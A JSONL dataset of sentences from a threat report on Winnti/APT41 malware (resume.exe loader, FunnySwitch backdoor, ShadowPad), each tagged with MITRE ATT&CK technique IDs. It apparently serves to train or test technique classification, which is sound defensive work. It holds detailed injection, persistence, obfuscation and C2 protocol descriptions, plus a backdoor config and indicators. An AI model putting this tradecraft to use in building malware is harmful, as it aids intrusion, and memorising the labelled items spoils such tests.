{"sentence": "ROR-13 hash of data starting from byte 0x24 (0x20, 4 bytes) Nonce for algorithm ChaCha20 (0x24, 12 bytes) ChaCha20-encrypted text (0x30): Name of PDF file (+0x0)", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Size of PDF file (+0x20) Size of auxiliary shellcode (+0x24) Size of main shellcode (+0x28) Constant 0xE839E900 (+0x2C) PDF file Auxiliary shellcode Main shellcode On first launch of resume.exe, the encrypted portion of the data is decrypted (the key is hard-coded in the executable) and three sections are extracted (PDF, auxiliary shellcode, and main shellcode).", "labels": ["T1027", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The PDF file is saved with a name resembling _797918755_true.pdf in a temporary folder.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It then opens for the user (the second window in the screenshot on Figure 26, next to HTML Help).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "resume.exe: actions on first launchThe payload runs in a new process %windir%\\System32\\spoolsv.exe, into which the main shellcode is injected: Cobalt Strike Beacon with C2 address 149.28.84[.]98.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Injection occurs by creating a section via a ZwCreateSection call, getting access to it from the parent and child processes via ZwMapViewOfSection calls, copying shellcode to the section, and placing a jump to the shellcode at the entry point for spoolsv.exe.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For persistence, resume.exe (under the name winness.exe) is copied to the folder %appdata%\\Microsoft\\AddIns\\ and the main shellcode is re-encrypted and saved in the same location, with the name winness.config.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "To ensure autostart, auxiliary shellcode writes the file svchost.bat, which transfers control to winness.exe, to the startup folder.", "labels": ["T1547.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For avoiding detection at this stage, the auxiliary shellcode is injected in a similar way into spoolsv.exe, independently loads the necessary functions, and writes to file in a separate thread.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "When winness.exe runs after a restart, the main shellcode is decrypted from winness.config and injected into spoolsv.exe in exactly the same way.", "labels": ["T1055", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "3.2 HFS with a surprise Figure 32.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "HFS server on Winnti infrastructureOn June 23, 2020, while investigating Winnti network infrastructure, we detected an active HttpFileServer on one of the active C2 servers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Four images were there for all to see: an email icon, screenshot from a game with Russian text, screenshot of the site of a game development company, and a screenshot of information about vulnerability CVE-2020-0796 from the Microsoft website.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "13524222881554126454-128.pngFigure 34.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "EaVpPBNXgAE8s3r.jpgFigure 35.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "website_battlestategames.pngFigure 36.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "windows_update.pngThe screenshots related to Battlestate Games, the St. Petersburg-based developer of Escape from Tarkov.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Almost two months later, on August 20, 2020, the file CV.pdf____________________________________________________________.exe (e886caba3fea000a7de8948c4de0f9b5857f0baef6cf905a2c53641dbbc0277c) was uploaded to VirusTotal.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "This file is a self-contained loader for Cobalt Strike Beacon PL shellcode.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its C2 server is interesting: update.facebookdocs[.]com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We discovered that the main domain facebookdocs[.]com hosted a copy of the official site of Battlestate Games: www.battlestategames.com.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Via an associated C2 IP address (108.61.214[.]194), we found an equivalent page on the phishing domain www.battllestategames[.]com (note the double \"l\").", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 37.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Copy of the official Battlestate Games siteWhen used as C2 servers, such domains give attackers the ability to mask malicious traffic as legitimate activity within the company.", "labels": ["T1071.001", "T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The combination of these two finds makes us think that we detected traces of preparation for, and subsequent successful implementation of, an attack on Battlestate Games.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Moreover, the match between the job listing for Unity3D developer (as seen in the screenshot from the official site) and contents of the curriculum vitae in the file CV.chm (as described in the previous section), considering how closely they matched in time as well as the company and \"applicant\" both being located in St. Petersburg, suggests a connection between these attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Most likely, the CHM file attack was used at the beginning stage of the breach, although we do not have solid confirmation for this.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Use of typosquatting domains for C2 servers is typical of Winnti and has been described in a Kaspersky report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Battlestate Games received all of the information uncovered by our investigation into the suspected attack.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "4.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "A purloined certificate Another favorite Winnti technique is theft of certificates for code signing.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Compromised certificates are used to sign malicious files intended for future attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We found one such certificate belonging to Taiwanese company Zealot Digital: Name: ZEALOT DIGITAL INTERNATIONAL CORPORATION Issuer:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "GlobalSign CodeSigning CA - SHA256 - G2 Valid From: 07:43 AM 08/20/2015", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Valid To: 07:43 AM 09/19/2016 Valid Usage: Code Signing Algorithm: sha256RSA Thumbprint: 91e256ac753efe79927db468a5fa60cb8a835ba5 Serial Number: 112195a147c06211d2c4b82b627e3d07bf09", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The files signed with it were predominantly used in attacks on organizations in Hong Kong.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They include Crosswalk and Metasploit injectors, the juicy-potato utility, and samples of FunnySwitch and ShadowPad. 5.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "FunnySwitch Among the files signed with the Zealot Digital certificate, we discovered two samples of malware containing a previously unknown backdoor.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "We have called it FunnySwitch, based on the name of the library and one of the key classes.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The backdoor is written in .NET and can send system information as well as run arbitrary JScript code, with support for six different connection types, including the ability to accept incoming connections.", "labels": ["T1041"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "One of its distinguishing features is the ability to act as message relay between different copies of the backdoor and a C2 server.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "5.1 Unpacking The attack in question starts with the SFX archive x32.exe (2063fae36db936de23eb728bcf3f8a5572f83645786c2a0a5529c71d8447a9af).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of the archive x32.exeThe archive unpacks three files (1.vbs, n3.exe, and p3.exe) into the folder c:\\programdata, after which the extracted VBS script runs both executables.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The files n3.exe and p3.exe are identical and inject shellcode into the process explorer.exe.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The only difference between them is the final bytes of the shellcode they inject, which contain the XML configuration.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In one case, the proxy server 168.106.1[.]1 is specified there in addition: <?xml version=\"1.0\" encoding=\"utf-8\"?> <Config Group=\"aa\" Password=\"test\" StartTime=\"0\" EndTime=\"24\" WeekDays=\"0,1,2,3,4,5,6\"> <HttpConnector url=\"http://db311secsd.kasprsky[.]info/config/\" proxy=\"http://168.106.1[.]1/\" interval=\"30-60\"/> </Config> <?xml version=\"1.0\" encoding=\"utf-8\"?> <Config Group=\"aa\" Password=\"test\" StartTime=\"0\" EndTime=\"24\" WeekDays=\"0,1,2,3,4,5,6\"> <HttpConnector url=\"http://db311secsd.kasprsky[.]info/config/\" interval=\"30-60\"/> </Config>", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "A subdomain of kasprsky[.]info, db311secsd.kasprsky[.]info, is the C2 domain.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Interestingly, several of its other subdomains are mentioned in an FBI report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It dates to May 21, 2020, and warns of attacks on organizations linked to COVID-19 research.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The job of the shellcode is to launch and execute a method from the .NET assembly located immediately after its code.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "To do so, it gets a reference to the ICorRuntimeHost interface, which it uses to run CLR and create an AppDomain object.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The contents of the assembly are loaded into the newly created domain.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Reflection is used to run the static method Funny.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Core.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Run(xml_config), to which the XML configuration is passed.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Calling a method from the .NET", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "assemblyThe assembly is the library Funny.dll with obfuscation by ConfuserEx. 5.2 Funny.dll The backdoor starts by parsing the configuration.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Its root element may contain the following fields: Debug is the flag for enabling debug logging Group is an arbitrary string sent together with system information.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Password is the key used to encrypt messages.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "ID identifies the relay (if not present in the configuration, the GUID is used instead).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "StartTime, EndTime, and WeekDays restrict the times and days when the backdoor may function The <Config> element may contain an arbitrary number of elements describing various types of connectors: TcpConnector and TcpBindConnector are classes responsible for connecting over TCP as client and server.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They have two parameters in common: address and port (by default, 38001).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "TcpConnector also has the parameter interval, which indicates how long to wait before trying to reconnect.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "HttpConnector and HttpBindConnector are HTTP client with support for proxy and HTTP server.", "labels": ["T1071.001", "T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Supported client parameters: url – address to connect to, interval – same as at TcpConnector, proxy and cred – proxy server address and credentials.", "labels": ["T1090"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Server parameters: url – list of prefixes on which it will run and timeout – client timeout.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The standard classes HttpWebRequest and HttpListener from .NET", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Framework are used for client and server implementations.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Both HTTP and HTTPS are supported: if no SSL certificate is configured for the port on which the server is running, it will be launched with CN = Environment.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "MachineName + \".local.domain\".", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The client, in turn, ignores certificate validation.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "RPCConnector and RPCBindConnector are classes that allow setting up a connection via a Named Pipe.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "They take a single parameter, name, which is the name of the connection.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "TcpBindConnector and HttpBindConnector support simultaneous connections for multiple clients.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For the network connectors to work, the backdoor adds an allow rule to Windows Firewall with the name \"Core Networking ― IPv4\" for its executable module.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 40.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code for adding Windows Firewall rulesJust like with Crosswalk, there are multiple levels of the protocol: in this case, transport, network, and application.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "5.2.1 Transport protocols TCP TCP supports three types of messages: PingMessage (0x1), PongMessage (0x2), and DataMessage (0x3).", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first two monitor the connection and are relevant only at the TcpConnector/TcpBindConnector level.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "DataMessage contains network-level data.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Messages consist of a signature (4 bytes), encrypted header (16 bytes), and optional data.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The signature is three random bytes followed by their sum with modulo 256.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Incoming messages with an invalid signature are discarded.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The header contains the data size (4 bytes) and byte indicating the message type (0x1, 0x2, or 0x3).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It is encrypted with AES-256-CBC; the key and IV are taken from the MD5 of the key string.", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The backdoor uses this encryption method in other cases as well, which is why we refer to it as \"standard\" in the text that follows.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The key string in this case is \"tcp_encrypted\".", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Standard encryption in FunnySwitch HTTP with long polling There are three types of requests: GET \"connect\", GET \"pull\", and POST \"push\".", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "To start transferring data, the client must connect by sending a GET request to a URL from the configuration and provide a special cookie value.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The cookie name is eight random characters.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The value is an encrypted Base64 string containing the session GUID and operation name (\"connect\").", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The string is encrypted in the standard way with the key \"http\".", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The client then constantly sends GET requests with pull operations.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In response, the server returns the relevant array of messages for the client or, if no new messages have arrived in the last 10 seconds, an empty response.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Client–server messages are periodically sent as an array as well, for which a POST request with push operation is used.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 42.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "FunnySwitch connect and pull requestsThe special class MsgPack class, which implements a custom serialization protocol, unpacks the array and other primitive types.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "RPC (Pipe) Similar to TCP, except for the absence of connection monitoring.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "5.2.2 Network-level protocol Figure 43.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Function for processing incoming network-level communicationsAll messages at this level are encrypted in the backdoor's standard way, with the key string \"commonkey\".", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Messages are an array of three or four elements: Message type (\"hello_request\", \"hello_response\", \"message\", \"error\") Source serialized array Destination serialized array Payload (application-level data)", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The MsgPack class is also used for serialization.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The Source and Destination arrays contain the IDs of the relays through which the message has already passed and the IDs of the routers through it should be delivered to the recipient.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The bodies of hello_request and hello_response messages contain information about the sender's system.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "When one of these messages is received, the relay saves data about the sender ID, used connector instance and system data.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "These message types are used to establish a direct connection between relays.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Messages of the \"message\" type (ones that are not hello_request, hello_response, or error) can be passed via several relays.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "If its Destination field contains only the ID of the current instance, it will be handled locally; if not, it will be sent to the next relay in the list.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "For connecting to the next instance, it uses the connector that was saved when exchanging hello_request and hello_response messages.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The backdoor collects the following system information: Values of the registry keys ProductName and CSDVersion from HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion Whether the OS is 32-bit or 64-bit List of IP addresses Computer name Username and workgroup Name of running module PID MAC addresses of network adapters Value of the Group attribute in the XML configuration 5.2.3 Application-level protocol At the application level, data is encrypted in the standard way using the value of the Password attribute from the configuration.", "labels": ["T1016", "T1033", "T1057", "T1071.001", "T1082", "T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "If no such value exists, the key string is \"test\".", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Data is compressed with GZip prior to encryption.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "After decryption and decompression, the payload is an array (packed MsgPack) consisting of one or two elements: a string with the name of a command and optional array of bytes (data for the command).", "labels": ["T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "These elements, in turn, contain another serialized array, which contains a message string ID (which will be used to send the result of the command) plus the data for the command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "5.2.4 Supported commands Command Description invoke Run JScript code and get the result.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Implementation was separated out into a JSCore .NET assembly, which is dynamically loaded from a Base64 constant defined in the main assembly.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 44.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Loading the Funny.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Eval class from the JSCore assemblyCode execution is accomplished with classes from the Microsoft.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "JScript namespace.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 45.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Code fragments from the Funny.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Eval class connect Takes an XML string with connector configuration and creates the corresponding object.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "update Packs a response containing the IDs of relays connected to the current copy, together with their system information.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "query Collects the configuration of active connector instances other than the RPCConnector and RPCBindConnector classes.", "labels": ["T1016"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "remove Removes the specified connector.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "createStream Creates a message queue with the indicated name.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The queue connects with the sender of the createStream command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "closeStream Deletes the named message queue.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "sendStream Adds a message (byte array) to the queue with the specified name.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The result of execution of each command is returned to the sender via the invoke-response command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "5.2.5 Unused code By all appearances, the FunnySwitch backdoor is still under development, as shown by the incomplete state of message queue functionality.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Besides the commands described here already, the code contains the functions PullStream and SendStream, which are not used anywhere.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first extracts a message from the queue (by queue name), while the second sends its creator an arbitrary set of bytes with the stream-data command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The code also contains several unused classes: an implementation of the KCP protocol, limited-size queue SizeQueue, and string serializer StreamString. Figure 46.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Fragment of KCP class code5.2.6 FunnySwitch vs. Crosswalk Based on investigation of the two backdoors, we believe that they were written by the same developers.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Several things point at common authorship: Use of multiple transport protocols Support for specifying a proxy server Identical configuration restrictions on time of day and days of the week Implementation of the KCP protocol Implemented (and disabled by default) logging of debug messages and errors Figure 47.", "labels": ["T1090", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Error logging in CrosswalkFigure 48.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Message logging in FunnySwitch6.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "ShadowPad During the investigation we also discovered two samples containing ShadowPad malware.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The first of these is the SFX archive 20200926___Request for wedding reception.exe (03b7b511716c074e9f6ef37318638337fd7449897be999505d4a3219572829b4).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 49.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Contents of the archive 20200926___Request for wedding reception.exeFor bait, it contains a Chinese-language Microsoft Word document with the text of a wedding banquet form.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 50.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Bait file wedding.docxThe archive contents are unpacked to the folder c:\\programdata, from where (besides the bait file being opened) the payload log.exe is launched.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Both the executable file and the DLL library are obfuscated with VMProtect, but we also found identical unprotected versions (as shown in the following screenshots).", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "An unpacked legitimate component of Bitdefender (386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd) serves as log.exe.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "It dynamically loads the library log.dll.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 51.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Loading log.dll in log.exeThe library, in turn, when loaded checks for whether the current module contains a certain set of bytes at offset 0x2775.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "If the loading module meets its expectations, these bytes change to a call instruction for a DLL function.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "As a result, in log.exe right after log.dll loads, a call is made to the function sub_100010D0.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The called function is not explicitly exported.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 52.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Check and modification of executable module in log.dllA similar technique has been previously described by ESET in the context of Winnti attacks on universities in Hong Kong.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "ShadowPad malware was used as the payload in these attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In our case, the code run afterwards had been obfuscated with a new approach: all functions are split into separate instructions that shuffle between each other.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Jumps between instructions occur by means of calls to a special function (rel_jmp), which emulates the jmp command.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The offset at which the jump occurs is written immediately after a call instruction (see the following figure).", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Figure 53.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Structure of obfuscated codeIn addition, to obfuscate the control flow in the code, conditional jumps that never run are included as well: cmp esp, 3181h jb loc_1000BCA9 The obfuscated code is the loader for the subsequent shellcode, which is encrypted in the file log.dll.dat.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "After decryption, the file is deleted and the shellcode is re-encrypted, saved in the registry, and run.", "labels": ["T1027", "T1070.004", "T1112", "T1140"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "When log.exe is launched subsequently, the shellcode will be loaded from the registry.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The data is stored in a hive with a name resembling the following: (HKLM|HKCU)\\Software\\Classes\\CLSID\\{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}, in key %8.8X.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The values inserted in the formatting strings are generated based on the TimeDateStamp in the PE header of log.dll, and therefore are always identical for any given library copy.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "In our case, they equal {56a36bd2-5e2b-20b0-96f2cb9bb3f43475} and EB5D1182, respectively.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The payload is ShadowPad shellcode that has been obfuscated with the same rel_jmp and fake-jb techniques.", "labels": ["T1027"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "The following strings are contained in its encrypted configuration: 6/30/2020 1:25:52 PM ccc %ProgramData%\\ msdn.exe log.dll log.dll.dat WMNetworkSvc WMNetworkSvc WMNetworkSvc SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "WMSVC %ProgramFiles%\\Windows Media Player\\wmplayer.exe %windir%\\system32\\svchost.exe %windir%\\system32\\winlogon.exe %windir%\\explorer.exe TCP://cigy2jft92.kasprsky.info:443", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
